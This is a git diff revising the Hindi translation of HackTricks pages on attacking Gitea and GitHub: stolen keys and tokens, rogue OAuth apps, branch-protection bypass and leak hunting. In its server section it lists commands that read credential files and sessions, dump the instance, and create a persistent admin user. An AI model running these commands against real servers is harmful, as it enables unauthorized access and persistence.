इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाँकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है:
```bash
@@ -58,50 +58,50 @@ Gitea **उपयोगकर्ताओं** को **SSH कुंजी**
# Get repo config and current user name and email
git config --list
```
-यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
+यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में **जनता कुंजी जो उसने सेट की है** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
-**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको कुंजी से संबंधित जानकारी देगी।
+**SSH कुंजी** को **डिप्लॉय कुंजी** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी।
-#### GPG कुंजियाँ
+#### GPG कुंजी
-जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
+जैसा कि [**यहां**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
-स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
+स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
```shell
gpg --list-secret-keys --keyid-format=long
```
### With User Token
-[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)।
+[**यूजर टोकन के बारे में मूल जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)।
-एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास **यूजर पर पूर्ण पहुंच** होगी।
+एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास यूजर पर **पूर्ण पहुंच** होगी।
### With Oauth Application
-[**Gitea Oauth एप्लिकेशन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](./#with-oauth-application)।
+[**Gitea Oauth एप्लिकेशन के बारे में मूल जानकारी के लिए यहाँ देखें**](./#with-oauth-application)।
-एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
+एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें एक फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-बुनियादी जानकारी में समझाया गया है कि एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी।
+जैसा कि मूल जानकारी में बताया गया है, एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी।
### Branch Protection Bypass
-Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच के साथ एक टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में **यह मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है:
+Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच** के साथ एक **टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में यह **मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है:
-- **पुश सक्षम करें**: यदि कोई भी लिखने की पहुंच के साथ ब्रांच पर पुश कर सकता है, तो बस इसे पुश करें।
+- **पुश सक्षम करें**: यदि किसी के पास ब्रांच पर पुश करने की लेखन पहुंच है, तो बस इसे पुश करें।
- **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें।
- **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको इसके अंदर होना चाहिए।
-- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है।
-- **व्हाइटलिस्टेड उपयोगकर्ताओं के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है।
-- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपने कोड को इंजेक्ट कर सकें और PR को मर्ज कर सकें।
+- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करना होगा।
+- **व्हाइटलिस्टेड के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करना होगा।
+- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपना कोड इंजेक्ट कर सकें और PR को मर्ज कर सकें।
ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं।
### Enumerate Webhooks
-**वेबहुक्स** कुछ स्थानों पर **विशिष्ट गीटिया जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\
-हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो **बाहरी उपयोगकर्ताओं** को रोकता है जो वेबहुक के URL को जानते हैं लेकिन गुप्त को नहीं जानते हैं कि **उस वेबहुक का शोषण** कर सकें।\
-लेकिन कुछ अवसरों पर, लोग **गुप्त** को उसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त खोजने** और अन्य स्थानों को शोषण करने की अनुमति दे सकता है।
+**वेबहुक्स** कुछ स्थानों पर **विशिष्ट gitea जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\
+हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो बाहरी उपयोगकर्ताओं को **उस वेबहुक का शोषण** करने से **रोकता** है जो URL जानते हैं लेकिन गुप्त नहीं जानते।\
+लेकिन कुछ अवसरों पर, लोग **गुप्त** को इसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त जानकारी** और अन्य स्थानों को खोजने की अनुमति दे सकता है जहाँ आप आगे शोषण कर सकते हैं।
वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है।
@@ -109,21 +109,21 @@ Github में हमारे पास **github actions** हैं जो
### Inside the server
-यदि किसी तरह आप उस सर्वर के अंदर पहुँच गए जहाँ गीटिया चल रहा है, तो आपको गीटिया कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है।
+यदि आप किसी तरह उस सर्वर के अंदर पहुँच गए जहाँ gitea चल रहा है, तो आपको gitea कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है।
इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं।
-गीटिया पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे:
+gitea पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे:
-- **sqlite** DB: यदि गीटिया एक बाहरी DB का उपयोग नहीं कर रहा है तो यह एक sqlite DB का उपयोग करेगा।
-- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (गीटिया सत्रों को DB के अंदर भी सहेज सकता है)।
+- **sqlite** DB: यदि gitea एक बाहरी db का उपयोग नहीं कर रहा है, तो यह एक sqlite db का उपयोग करेगा।
+- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (gitea सत्रों को DB के अंदर भी सहेज सकता है)।
- **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर।
- इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है।
-यदि आप सर्वर के अंदर हैं तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं:
+यदि आप सर्वर के अंदर हैं, तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं:
-- `gitea dump` गीटिया को डंप करेगा और एक .zip फ़ाइल बनाएगा।
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार का एक टोकन उत्पन्न करेगा (स्थायीता)।
+- `gitea dump` gitea को डंप करेगा और एक .zip फ़ाइल बनाएगा।
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार (स्थायी) का एक टोकन उत्पन्न करेगा।
- `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें।
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाएँ और एक एक्सेस टोकन प्राप्त करें।
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index 4a8343ab4..a23746715 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,7 +4,7 @@
## Basic Structure
-बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह, उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं।
+बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं।
इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं।
@@ -21,16 +21,16 @@
**Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं:
- सार्वजनिक
-- सीमित (लॉगिन किए गए उपयोगकर्ताओं के लिए केवल)
+- सीमित (लॉग इन उपयोगकर्ताओं के लिए केवल)
- निजी (सदस्यों के लिए केवल)
-**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** टीमों के लिए **पहुँच जोड़ने या हटाने** कर सकते हैं। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं।
+**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** **टीमों के लिए पहुंच जोड़ या हटा सकते हैं**। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं।
-एक नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं:
+नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं:
-- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुँच सकते हैं**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहाँ टीम जोड़ी गई है) या सभी।
-- यह भी संकेत दिया गया है कि **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी)
-- **रिपोजिटरी के सदस्यों के पास जो **अनुमतियाँ** होंगी**:
+- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुंच प्राप्त कर सकेंगे**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहां टीम जोड़ी गई है) या सभी।
+- यह भी संकेत दिया गया है **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी)
+- **रिपोजिटरी के सदस्यों के पास **अनुमतियाँ** होंगी:
- **व्यवस्थापक** पहुंच
- **विशिष्ट** पहुंच:
@@ -38,7 +38,7 @@
### Teams & Users
-एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। वहाँ **3** संभावित **भूमिकाएँ** हैं:
+एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। संभावित **भूमिकाएँ** **3** हैं:
- व्यवस्थापक
- लिखें
@@ -60,44 +60,44 @@
### **Personal Access Tokens**
-आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच देता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच प्रदान करता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
-व्यक्तिगत पहुंच टोकनों की तरह, **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** रखेंगे जहाँ आपके खाते को पहुंच है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेतित किया गया है, स्कोप अभी तक समर्थित नहीं हैं:
+व्यक्तिगत पहुंच टोकनों की तरह **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** प्राप्त करेंगे जहां आपके खाते को पहुंच प्राप्त है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेत दिया गया है, स्कोप अभी तक समर्थित नहीं हैं:
.png>)
### Deploy keys
-डिप्लॉय कुंजियाँ रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती हैं, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकती हैं।
+Deploy keys को रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती है, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकते हैं।
## Branch Protections
-ब्रांच सुरक्षा का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएं**।
+Branch protections का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने में सक्षम होने से पहले कई सुरक्षा विधियाँ लगाई जाएं**।
-**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ पर पाई जा सकती है।
+**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ में पाई जा सकती है।
> [!NOTE]
-> यह **संगठन स्तर पर शाखा सुरक्षा सेट करना संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए।
+> संगठन स्तर पर शाखा सुरक्षा सेट करना **संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए।
एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
-- **पुश अक्षम करें**: कोई भी इस शाखा पर पुश नहीं कर सकता
-- **पुश सक्षम करें**: कोई भी जिसे पहुंच है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता।
-- **व्हाइटलिस्ट प्रतिबंधित पुश**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं)
-- **मर्ज व्हाइटलिस्ट सक्षम करें**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं।
-- **स्थिति जांच सक्षम करें:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है।
-- **अनुमोदनों की आवश्यकता**: यह संकेत करें कि PR को मर्ज करने से पहले कितने अनुमोदनों की आवश्यकता है।
-- **व्हाइटलिस्टेड पर अनुमोदनों को प्रतिबंधित करें**: उन उपयोगकर्ताओं/टीमों को संकेत करें जो PRs को अनुमोदित कर सकते हैं।
-- **अस्वीकृत समीक्षाओं पर मर्ज को अवरुद्ध करें**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (यहां तक कि यदि अन्य जांच पास हो जाएं)
-- **आधिकारिक समीक्षा अनुरोधों पर मर्ज को अवरुद्ध करें**: यदि वहाँ आधिकारिक समीक्षा अनुरोध हैं, तो इसे मर्ज नहीं किया जा सकता
-- **पुराने अनुमोदनों को अस्वीकार करें**: जब नए कमिट होते हैं, तो पुराने अनुमोदनों को अस्वीकार कर दिया जाएगा।
-- **हस्ताक्षरित कमिट की आवश्यकता**: कमिट को हस्ताक्षरित होना चाहिए।
-- **यदि पुल अनुरोध पुराना है तो मर्ज को अवरुद्ध करें**
-- **संरक्षित/असंरक्षित फ़ाइल पैटर्न**: परिवर्तनों के खिलाफ सुरक्षा/असंरक्षित करने के लिए फ़ाइलों के पैटर्न को संकेत करें
+- **Push निष्क्रिय करें**: कोई भी इस शाखा पर पुश नहीं कर सकता
+- **Push सक्षम करें**: कोई भी जिसे पहुंच प्राप्त है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता।
+- **Whitelist Restricted Push**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं)
+- **Enable Merge Whitelist**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं।
+- **Enable Status checks:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है।
+- **Require approvals**: एक PR को मर्ज करने से पहले आवश्यक अनुमतियों की संख्या को इंगित करें।
+- **Restrict approvals to whitelisted**: उन उपयोगकर्ताओं/टीमों को इंगित करें जो PRs को अनुमोदित कर सकते हैं।
+- **Block merge on rejected reviews**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (भले ही अन्य जांच पास हों)
+- **Block merge on official review requests**: यदि आधिकारिक समीक्षा अनुरोध हैं तो इसे मर्ज नहीं किया जा सकता
+- **Dismiss stale approvals**: जब नए कमिट होते हैं, तो पुराने अनुमोदन को खारिज कर दिया जाएगा।
+- **Require Signed Commits**: कमिट को हस्ताक्षरित होना चाहिए।
+- **Block merge if pull request is outdated**
+- **Protected/Unprotected file patterns**: परिवर्तनों के खिलाफ सुरक्षा/असुरक्षित करने के लिए फ़ाइलों के पैटर्न को इंगित करें
> [!NOTE]
-> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी को सुरक्षित किया जा सकता है जिससे आप उदाहरण के लिए मास्टर पर कोड पुश करने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता किया जा सके।
+> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी सुरक्षा में हो सकती हैं जिससे आप उदाहरण के लिए मास्टर पर कोड पुश नहीं कर सकते** ताकि CI/CD पाइपलाइन को समझौता किया जा सके।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cd7efa78d..654b3964c 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -4,7 +4,7 @@
## What is Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी**।
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) उच्च स्तर पर, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी।**
### Basic Information
@@ -16,17 +16,17 @@ basic-github-information.md
Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है।
-- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे
-- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे
+- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे।
+- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे।
- **Public** का मतलब है कि **सभी इंटरनेट** इसे एक्सेस कर सकेगा।
-यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं** तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं।
+यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं**, तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं।
### Github Dorks
-Github आपको **किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है**। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं**।
+Github **किसी चीज़ को खोजने की अनुमति देता है, जिसमें उपयोगकर्ता, रिपॉजिटरी या संगठन को स्कोप के रूप में निर्दिष्ट किया गया है।** इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी खोज सकते हैं।**
-Tools (each tool contains its list of dorks):
+Tools (प्रत्येक टूल में इसके dorks की सूची होती है):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
@@ -34,9 +34,9 @@ Tools (each tool contains its list of dorks):
### Github Leaks
-कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी के लिए खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)।
+कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी की खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)।
-Tools (each tool contains its list of regexes):
+Tools (प्रत्येक टूल में इसके regexes की सूची होती है):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,11 +47,11 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि **अन्य कमिट्स के साथ अन्य ब्रांच भी हो सकती हैं** जिनमें रहस्य हो सकते हैं!
+> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं!
### External Forks
-यह संभव है कि **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता किया जाए**। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इससे संबंधित अधिक जानकारी नीचे**](./#execution-from-a-external-fork)।
+यह **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता करना संभव है।** यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इस बारे में अधिक जानकारी नीचे**](./#execution-from-a-external-fork)।
### Github Leaks in deleted/internal forks
@@ -65,12 +65,12 @@ accessible-deleted-data-in-github.md
### Member Privileges
-कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है।
+कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` से या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है।
